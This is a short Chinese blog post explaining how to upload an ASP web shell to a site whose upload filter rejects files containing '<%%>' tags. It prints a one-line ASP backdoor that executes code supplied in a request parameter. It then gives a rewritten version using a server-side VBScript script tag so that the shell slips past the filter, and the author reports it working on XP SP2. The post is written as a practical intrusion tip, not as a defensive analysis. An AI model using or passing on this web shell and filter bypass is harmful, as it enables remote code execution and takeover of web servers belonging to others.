当不能使用asp标记的时候的一个解决办法
2018-09-06 10:22
阅读：964
郁闷中啊，无聊的逛着，还为那个同时使用双标签的问题而努力找解决方案，突然想到了一个东西，
以前好多朋友说过就是在程序上传shell过程中，程序不允许包含<%%>标记符号的内容的文件上传，
这样就有好多shell不能上传上去了！那我们是不就没别的方法了么，当然有了！呵呵！
我们拿蓝屏最小的asp木马来看下：
<%execute request(l)%>
我们来把他的标签换下来：
<script language=VBScript runat=server>execute request(l)</Script>
呵呵！这样就避开了使用<%%>，保存为.asp,程序照样执行,效果一样的说！
偶在xpsp2下测试成功！
从勇敢的风那里得来得灵感！^_^在此再次感谢！
评论
亲，登录后才可以留言！